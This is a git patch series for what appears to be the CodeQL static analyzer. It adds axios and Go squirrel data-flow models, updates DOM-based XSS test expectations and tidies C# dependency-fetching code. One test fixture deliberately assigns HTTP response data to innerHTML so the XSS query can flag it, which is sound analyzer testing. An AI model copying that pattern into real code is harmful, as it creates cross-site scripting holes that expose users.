a/javascript/ql/lib/ext/axios.model.yml +++ b/javascript/ql/lib/ext/axios.model.yml @@ -4,3 +4,9 @@ extensions: extensible: sinkModel data: - ["axios", "Member[interceptors].Member[request].Member[use].Argument[0].Parameter[0].Member[url]", "request-forgery"] + + - addsTo: + pack: codeql/javascript-all + extensible: sourceModel + data: + - ["axios", "Member[interceptors].Member[response].Member[use].Argument[0].Parameter[0]", "remote"] diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected index 7de1561f79e..d05ef2073fb 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected @@ -61,6 +61,7 @@ | dragAndDrop.ts:73:29:73:39 | droppedHtml | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:73:29:73:39 | droppedHtml | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | user-provided value | | event-handler-receiver.js:2:31:2:83 | '

    ' | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | Cross-site scripting vulnerability due to $@. | event-handler-receiver.js:2:49:2:61 | location.href | user-provided value | | express.js:6:15:6:33 | req.param("wobble") | express.js:6:15:6:33 | req.param("wobble") | express.js:6:15:6:33 | req.param("wobble") | Cross-site scripting vulnerability due to $@. | express.js:6:15:6:33 | req.param("wobble") | user-provided value | +| interceptors.js:9:56:9:72 | userGeneratedHtml | interceptors.js:7:6:7:13 | response | interceptors.js:9:56:9:72 | userGeneratedHtml | Cross-site scripting vulnerability due to $@. | interceptors.js:7:6:7:13 | response | user-provided value | | jquery.js:7:5:7:34 | "
    " | jquery.js:2:17:2:40 | documen ... .search | jquery.js:7:5:7:34 | "
    " | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value | | jquery.js:8:18:8:34 | "XSS: " + tainted | jquery.js:2:17:2:40 | documen ... .search | jquery.js:8:18:8:34 | "XSS: " + tainted | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value | | jquery.js:10:5:10:40 | "" + ... "" | jquery.js:10:13:10:20 | location | jquery.js:10:5:10:40 | "" + ... "" | Cross-site scripting vulnerability due to $@. | jquery.js:10:13:10:20 | location | user-provided value | @@ -351,6 +352,9 @@ edges | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml | provenance | | | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | provenance | | | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | provenance | Config | +| interceptors.js:7:6:7:13 | response | interceptors.js:8:35:8:42 | response | provenance | | +| interceptors.js:8:15:8:47 | userGeneratedHtml | interceptors.js:9:56:9:72 | userGeneratedHtml | provenance | | +| interceptors.js:8:35:8:42 | response | interceptors.js:8:15:8:47 | userGeneratedHtml | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:4:5:4:11 | tainted | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:5:13:5:19 | tainted | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:6:11:6:17 | tainted | provenance | | @@ -952,6 +956,10 @@ nodes | event-handler-receiver.js:2:31:2:83 | '

    ' | semmle.label | '

    ' | | event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href | | express.js:6:15:6:33 | req.param("wobble") | semmle.label | req.param("wobble") | +| interceptors.js:7:6:7:13 | response | semmle.label | response | +| interceptors.js:8:15:8:47 | userGeneratedHtml | semmle.label | userGeneratedHtml | +| interceptors.js:8:35:8:42 | response | semmle.label | response | +| interceptors.js:9:56:9:72 | userGeneratedHtml | semmle.label | userGeneratedHtml | | jquery.js:2:7:2:40 | tainted | semmle.label | tainted | | jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search | | jquery.js:4:5:4:11 | tainted | semmle.label | tainted | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected index eb961fc83db..a235f18ee83 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected @@ -153,6 +153,10 @@ nodes | event-handler-receiver.js:2:31:2:83 | '

    ' | semmle.label | '

    ' | | event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href | | express.js:6:15:6:33 | req.param("wobble") | semmle.label | req.param("wobble") | +| interceptors.js:7:6:7:13 | response | semmle.label | response | +| interceptors.js:8:15:8:47 | userGeneratedHtml | semmle.label | userGeneratedHtml | +| interceptors.js:8:35:8:42 | response | semmle.label | response | +| interceptors.js:9:56:9:72 | userGeneratedHtml | semmle.label | userGeneratedHtml | | jquery.js:2:7:2:40 | tainted | semmle.label | tainted | | jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search | | jquery.js:4:5:4:11 | tainted | semmle.label | tainted | @@ -791,6 +795,9 @@ edges | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml | provenance | | | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | provenance | | | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | provenance | Config | +| interceptors.js:7:6:7:13 | response | interceptors.js:8:35:8:42 | response | provenance | | +| interceptors.js:8:15:8:47 | userGeneratedHtml | interceptors.js:9:56:9:72 | userGeneratedHtml | provenance | | +| interceptors.js:8:35:8:42 | response | interceptors.js:8:15:8:47 | userGeneratedHtml | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:4:5:4:11 | tainted | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:5:13:5:19 | tainted | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:6:11:6:17 | tainted | provenance | | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/interceptors.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/interceptors.js index 8d6da238ee7..d4e918c1de8 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/interceptors.js +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/interceptors.js @@ -4,9 +4,9 @@ const axios = require("axios"); const app = express(); axios.interceptors.response.use( - (response) => { // $ MISSING: Source + (response) => { // $ Source const userGeneratedHtml = response.data; - document.getElementById("content").innerHTML = userGeneratedHtml; // $ MISSING: Alert + document.getElementById("content").innerHTML = userGeneratedHtml; // $ Alert return response; }, (error) => { From 9dcfe0e7096aee4a4db81590d829b927d7785518 Mon Sep 17 00:00:00 2001 From: Napalys Date: Mon, 24 Mar 2025 11:49:08 +0100 Subject: [PATCH 045/121] Added change note. --- .../lib/change-notes/2025-03-24-axios-additional-methods.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md diff --git a/javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md b/javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md new file mode 100644 index 00000000000..9f31730bc14 --- /dev/null +++ b/javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`. From 0689cf7f5e8206098a453b9e4981519358726d5d Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 24 Mar 2025 14:19:02 +0100 Subject: [PATCH 046/121] Update javascript/ql/lib/ext/axios.model.yml Co-authored-by: Asger F --- javascript/ql/lib/ext/axios.model.yml | 2 +- .../query-tests/Security/CWE-079/DomBasedXss/Xss.expected | 8 -------- .../CWE-079/DomBasedXss/XssWithAdditionalSources.expected | 7 ------- .../CWE-079/DomBasedXssWithResponseThreat/Xss.expected | 8 ++++++++ .../interceptors.js | 0 5 files changed, 9 insertions(+), 16 deletions(-) rename javascript/ql/test/query-tests/Security/CWE-079/{DomBasedXss => DomBasedXssWithResponseThreat}/interceptors.js (100%) diff --git a/javascript/ql/lib/ext/axios.model.yml b/javascript/ql/lib/ext/axios.model.yml index 78a52524478..69740c31e29 100644 --- a/javascript/ql/lib/ext/axios.model.yml +++ b/javascript/ql/lib/ext/axios.model.yml @@ -9,4 +9,4 @@ extensions: pack: codeql/javascript-all extensible: sourceModel data: - - ["axios", "Member[interceptors].Member[response].Member[use].Argument[0].Parameter[0]", "remote"] + - ["axios", "Member[interceptors].Member[response].Member[use].Argument[0].Parameter[0]", "response"] diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected index d05ef2073fb..7de1561f79e 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected @@ -61,7 +61,6 @@ | dragAndDrop.ts:73:29:73:39 | droppedHtml | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:73:29:73:39 | droppedHtml | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | user-provided value | | event-handler-receiver.js:2:31:2:83 | '

    ' | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | Cross-site scripting vulnerability due to $@. | event-handler-receiver.js:2:49:2:61 | location.href | user-provided value | | express.js:6:15:6:33 | req.param("wobble") | express.js:6:15:6:33 | req.param("wobble") | express.js:6:15:6:33 | req.param("wobble") | Cross-site scripting vulnerability due to $@. | express.js:6:15:6:33 | req.param("wobble") | user-provided value | -| interceptors.js:9:56:9:72 | userGeneratedHtml | interceptors.js:7:6:7:13 | response | interceptors.js:9:56:9:72 | userGeneratedHtml | Cross-site scripting vulnerability due to $@. | interceptors.js:7:6:7:13 | response | user-provided value | | jquery.js:7:5:7:34 | "
    " | jquery.js:2:17:2:40 | documen ... .search | jquery.js:7:5:7:34 | "
    " | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value | | jquery.js:8:18:8:34 | "XSS: " + tainted | jquery.js:2:17:2:40 | documen ... .search | jquery.js:8:18:8:34 | "XSS: " + tainted | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value | | jquery.js:10:5:10:40 | "" + ... "" | jquery.js:10:13:10:20 | location | jquery.js:10:5:10:40 | "" + ... "" | Cross-site scripting vulnerability due to $@. | jquery.js:10:13:10:20 | location | user-provided value | @@ -352,9 +351,6 @@ edges | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml | provenance | | | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | provenance | | | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | provenance | Config | -| interceptors.js:7:6:7:13 | response | interceptors.js:8:35:8:42 | response | provenance | | -| interceptors.js:8:15:8:47 | userGeneratedHtml | interceptors.js:9:56:9:72 | userGeneratedHtml | provenance | | -| interceptors.js:8:35:8:42 | response | interceptors.js:8:15:8:47 | userGeneratedHtml | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:4:5:4:11 | tainted | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:5:13:5:19 | tainted | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:6:11:6:17 | tainted | provenance | | @@ -956,10 +952,6 @@ nodes | event-handler-receiver.js:2:31:2:83 | '

    ' | semmle.label | '

    ' | | event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href | | express.js:6:15:6:33 | req.param("wobble") | semmle.label | req.param("wobble") | -| interceptors.js:7:6:7:13 | response | semmle.label | response | -| interceptors.js:8:15:8:47 | userGeneratedHtml | semmle.label | userGeneratedHtml | -| interceptors.js:8:35:8:42 | response | semmle.label | response | -| interceptors.js:9:56:9:72 | userGeneratedHtml | semmle.label | userGeneratedHtml | | jquery.js:2:7:2:40 | tainted | semmle.label | tainted | | jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search | | jquery.js:4:5:4:11 | tainted | semmle.label | tainted | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected index a235f18ee83..eb961fc83db 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected @@ -153,10 +153,6 @@ nodes | event-handler-receiver.js:2:31:2:83 | '

    ' | semmle.label | '

    ' | | event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href | | express.js:6:15:6:33 | req.param("wobble") | semmle.label | req.param("wobble") | -| interceptors.js:7:6:7:13 | response | semmle.label | response | -| interceptors.js:8:15:8:47 | userGeneratedHtml | semmle.label | userGeneratedHtml | -| interceptors.js:8:35:8:42 | response | semmle.label | response | -| interceptors.js:9:56:9:72 | userGeneratedHtml | semmle.label | userGeneratedHtml | | jquery.js:2:7:2:40 | tainted | semmle.label | tainted | | jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search | | jquery.js:4:5:4:11 | tainted | semmle.label | tainted | @@ -795,9 +791,6 @@ edges | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml | provenance | | | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | provenance | | | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | provenance | Config | -| interceptors.js:7:6:7:13 | response | interceptors.js:8:35:8:42 | response | provenance | | -| interceptors.js:8:15:8:47 | userGeneratedHtml | interceptors.js:9:56:9:72 | userGeneratedHtml | provenance | | -| interceptors.js:8:35:8:42 | response | interceptors.js:8:15:8:47 | userGeneratedHtml | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:4:5:4:11 | tainted | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:5:13:5:19 | tainted | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:6:11:6:17 | tainted | provenance | | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/Xss.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/Xss.expected index ef0c88098b9..afc30e24608 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/Xss.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/Xss.expected @@ -1,4 +1,5 @@ #select +| interceptors.js:9:56:9:72 | userGeneratedHtml | interceptors.js:7:6:7:13 | response | interceptors.js:9:56:9:72 | userGeneratedHtml | Cross-site scripting vulnerability due to $@. | interceptors.js:7:6:7:13 | response | user-provided value | | test.jsx:27:29:27:32 | data | test.jsx:5:28:5:63 | fetch(" ... ntent") | test.jsx:27:29:27:32 | data | Cross-site scripting vulnerability due to $@. | test.jsx:5:28:5:63 | fetch(" ... ntent") | user-provided value | | test.ts:21:57:21:76 | response.description | test.ts:8:9:8:79 | this.#h ... query') | test.ts:21:57:21:76 | response.description | Cross-site scripting vulnerability due to $@. | test.ts:8:9:8:79 | this.#h ... query') | user-provided value | | test.ts:24:36:24:90 | `

    ${ ... o}

    ` | test.ts:8:9:8:79 | this.#h ... query') | test.ts:24:36:24:90 | `

    ${ ... o}

    ` | Cross-site scripting vulnerability due to $@. | test.ts:8:9:8:79 | this.#h ... query') | user-provided value | @@ -18,6 +19,9 @@ | testUseQueries2.vue:40:10:40:23 | v-html=data3 | testUseQueries2.vue:12:28:12:41 | fetch("${id}") | testUseQueries2.vue:40:10:40:23 | v-html=data3 | Cross-site scripting vulnerability due to $@. | testUseQueries2.vue:12:28:12:41 | fetch("${id}") | user-provided value | | testUseQueries.vue:25:10:25:23 | v-html=data2 | testUseQueries.vue:11:36:11:49 | fetch("${id}") | testUseQueries.vue:25:10:25:23 | v-html=data2 | Cross-site scripting vulnerability due to $@. | testUseQueries.vue:11:36:11:49 | fetch("${id}") | user-provided value | edges +| interceptors.js:7:6:7:13 | response | interceptors.js:8:35:8:42 | response | provenance | | +| interceptors.js:8:15:8:47 | userGeneratedHtml | interceptors.js:9:56:9:72 | userGeneratedHtml | provenance | | +| interceptors.js:8:35:8:42 | response | interceptors.js:8:15:8:47 | userGeneratedHtml | provenance | | | test.jsx:5:11:5:63 | response | test.jsx:6:24:6:31 | response | provenance | | | test.jsx:5:22:5:63 | await f ... ntent") | test.jsx:5:11:5:63 | response | provenance | | | test.jsx:5:28:5:63 | fetch(" ... ntent") | test.jsx:5:22:5:63 | await f ... ntent") | provenance | | @@ -96,6 +100,10 @@ edges | testUseQueries.vue:12:20:12:34 | response.json() | testUseQueries.vue:18:22:18:36 | results[0].data | provenance | | | testUseQueries.vue:18:22:18:36 | results[0].data | testUseQueries.vue:25:10:25:23 | v-html=data2 | provenance | | nodes +| interceptors.js:7:6:7:13 | response | semmle.label | response | +| interceptors.js:8:15:8:47 | userGeneratedHtml | semmle.label | userGeneratedHtml | +| interceptors.js:8:35:8:42 | response | semmle.label | response | +| interceptors.js:9:56:9:72 | userGeneratedHtml | semmle.label | userGeneratedHtml | | test.jsx:5:11:5:63 | response | semmle.label | response | | test.jsx:5:22:5:63 | await f ... ntent") | semmle.label | await f ... ntent") | | test.jsx:5:28:5:63 | fetch(" ... ntent") | semmle.label | fetch(" ... ntent") | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/interceptors.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/interceptors.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/interceptors.js rename to javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/interceptors.js From 7cea2addda21b09c15838ef9ec7cc7eee3cccf8e Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Tue, 25 Mar 2025 10:02:29 +0000 Subject: [PATCH 047/121] Apply suggestions from code review Co-authored-by: Michael Nebel --- .../Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs index a798048b933..49d35c944bd 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs @@ -2,7 +2,6 @@ using System.Collections.Generic; using System.IO; using System.Linq; -using System.Text; using Newtonsoft.Json.Linq; using Semmle.Util; @@ -77,7 +76,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching args += " /p:EnableWindowsTargeting=true"; } - if (restoreSettings.ExtraArgs != null) + if (restoreSettings.ExtraArgs is not null) { args += $" {restoreSettings.ExtraArgs}"; } From d2b88ae5a86f5e2c369ebfd9e31198d1ca16f3c8 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Tue, 25 Mar 2025 10:07:08 +0000 Subject: [PATCH 048/121] C#: Rename overloaded `CheckFeeds` method and fix comment --- .../NugetPackageRestorer.cs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index 828265781b2..a7659c89def 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -701,7 +701,8 @@ namespace Semmle.Extraction.CSharp.DependencyFetching } /// - /// Checks that we can connect to all Nuget feeds that are explicitly configured in configuration files. + /// Checks that we can connect to all Nuget feeds that are explicitly configured in configuration files + /// as well as any private package registry feeds that are configured. /// /// Outputs the set of explicit feeds. /// True if all feeds are reachable or false otherwise. @@ -714,7 +715,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching // in addition to the ones that are configured in `nuget.config` files. this.dependabotProxy?.RegistryURLs.ForEach(url => feedsToCheck.Add(url)); - var allFeedsReachable = this.CheckFeeds(feedsToCheck); + var allFeedsReachable = this.CheckSpecifiedFeeds(feedsToCheck); var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet(); if (inheritedFeeds.Count > 0) @@ -731,7 +732,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching /// /// The set of package feeds to check. /// True if all feeds are reachable or false otherwise. - private bool CheckFeeds(HashSet feeds) + private bool CheckSpecifiedFeeds(HashSet feeds) { logger.LogInfo("Checking that Nuget feeds are reachable..."); From 4d3b0246b5c2da3e86129cbb1232baac0cb68a6f Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Tue, 25 Mar 2025 10:14:03 +0000 Subject: [PATCH 049/121] C#: Do not manually add public feed when private registries are used --- .../NugetPackageRestorer.cs | 1 - 1 file changed, 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index a7659c89def..32107f44991 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -274,7 +274,6 @@ namespace Semmle.Extraction.CSharp.DependencyFetching // to `dotnet` ignores other feeds that may be configured, we also need to add the feeds // we have discovered from analysing `nuget.config` files. var sources = configuredSources ?? new(); - sources.Add(PublicNugetOrgFeed); this.dependabotProxy.RegistryURLs.ForEach(url => sources.Add(url)); // Add package sources. If any are present, they override all sources specified in From a8c3ef95008cb0b9bdd23f7f20a417e5f7f86b30 Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Sun, 2 Mar 2025 23:32:56 -0500 Subject: [PATCH 050/121] Add squirrel models --- .../github.com.mastermind.squirrel.model.yml | 32 +++++++ go/ql/lib/go.qll | 1 + go/ql/lib/semmle/go/frameworks/Squirrel.qll | 85 +++++++++++++++++++ 3 files changed, 118 insertions(+) create mode 100644 go/ql/lib/semmle/go/frameworks/Squirrel.qll diff --git a/go/ql/lib/ext/github.com.mastermind.squirrel.model.yml b/go/ql/lib/ext/github.com.mastermind.squirrel.model.yml index 6f3c5830e45..d3d11c48d55 100644 --- a/go/ql/lib/ext/github.com.mastermind.squirrel.model.yml +++ b/go/ql/lib/ext/github.com.mastermind.squirrel.model.yml @@ -6,6 +6,38 @@ extensions: - ["squirrel", "github.com/Masterminds/squirrel"] - ["squirrel", "gopkg.in/Masterminds/squirrel"] - ["squirrel", "github.com/lann/squirrel"] + - addsTo: + pack: codeql/go-all + extensible: sourceModel + data: + - ["group:squirrel", "", True, "QueryContextWith", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "", True, "QueryRowContextWith", "", "", "ReturnValue", "database", "manual"] + - ["group:squirrel", "", True, "QueryRowWith", "", "", "ReturnValue", "database", "manual"] + - ["group:squirrel", "", True, "QueryWith", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "DeleteBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "DeleteBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "DeleteBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "DeleteBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "InsertBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "InsertBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "InsertBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "InsertBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "QueryRower", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "QueryRowerContext", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "Queryer", True, "Query", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "QueryerContext", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "SelectBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "SelectBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "SelectBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "SelectBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "StdSql", True, "Query", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "StdSql", True, "QueryRow", "", "", "ReturnValue", "database", "manual"] + - ["group:squirrel", "StdSqlCtx", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "StdSqlCtx", True, "QueryRowContext", "", "", "ReturnValue", "database", "manual"] + - ["group:squirrel", "UpdateBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "UpdateBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "UpdateBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"] + - ["group:squirrel", "UpdateBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"] - addsTo: pack: codeql/go-all extensible: sinkModel diff --git a/go/ql/lib/go.qll b/go/ql/lib/go.qll index df725017dc8..51ff4916e16 100644 --- a/go/ql/lib/go.qll +++ b/go/ql/lib/go.qll @@ -57,6 +57,7 @@ import semmle.go.frameworks.Protobuf import semmle.go.frameworks.Revel import semmle.go.frameworks.Spew import semmle.go.frameworks.SQL +import semmle.go.frameworks.Squirrel import semmle.go.frameworks.Stdlib import semmle.go.frameworks.SystemCommandExecutors import semmle.go.frameworks.Testing diff --git a/go/ql/lib/semmle/go/frameworks/Squirrel.qll b/go/ql/lib/semmle/go/frameworks/Squirrel.qll new file mode 100644 index 00000000000..b8fec050791 --- /dev/null +++ b/go/ql/lib/semmle/go/frameworks/Squirrel.qll @@ -0,0 +1,85 @@ +/** + * Provides classes modeling security-relevant aspects of the `squirrel` ORM package. + */ + +import go + +/** + * Provides classes modeling security-relevant aspects of the `squirrel` ORM package. + */ +module Squirrel { + private string packagePath() { + result = + package([ + "github.com/Masterminds/squirrel", + "github.com/lann/squirrel", + "gopkg.in/Masterminds/squirrel", + ], "") + } + + private class RowScan extends TaintTracking::FunctionModel, Method { + FunctionInput inp; + FunctionOutput outp; + + RowScan() { + // signature: func (rs *RowScanner) Scan(dest ...interface{}) error + this.hasQualifiedName(packagePath(), "Row", "Scan") and + inp.isReceiver() and + outp.isParameter(_) + } + + override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { + input = inp and output = outp + } + } + + private class RowScannerScan extends TaintTracking::FunctionModel, Method { + FunctionInput inp; + FunctionOutput outp; + + RowScannerScan() { + // signature: func (rs *RowScanner) Scan(dest ...interface{}) error + this.hasQualifiedName(packagePath(), "RowScanner", "Scan") and + inp.isReceiver() and + outp.isParameter(_) + } + + override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { + input = inp and output = outp + } + } + + private class BuilderScan extends TaintTracking::FunctionModel, Method { + FunctionInput inp; + FunctionOutput outp; + + BuilderScan() { + // signature: func (rs *InsertBuilder) Scan(dest ...interface{}) error + this.hasQualifiedName(packagePath(), + ["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "Scan") and + inp.isReceiver() and + outp.isParameter(_) + } + + override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { + input = inp and output = outp + } + } + + private class BuilderScanContext extends TaintTracking::FunctionModel, Method { + FunctionInput inp; + FunctionOutput outp; + + BuilderScanContext() { + // signature: func (rs *InsertBuilder) ScanContext(ctx context.Context, dest ...interface{}) error + this.hasQualifiedName(packagePath(), + ["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "ScanContext") and + inp.isReceiver() and + exists(int i | i > 0 | outp.isParameter(i)) + } + + override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { + input = inp and output = outp + } + } +} From 4ab5d3405ce554cb448efc644c050ad93f9a170f Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Sun, 2 Mar 2025 23:33:31 -0500 Subject: [PATCH 051/121] Add fake `Source` function and models --- .../semmle/go/dataflow/flowsources/local/database/go.mod | 1 + .../go/dataflow/flowsources/local/database/source.ext.yml | 7 ++++++- 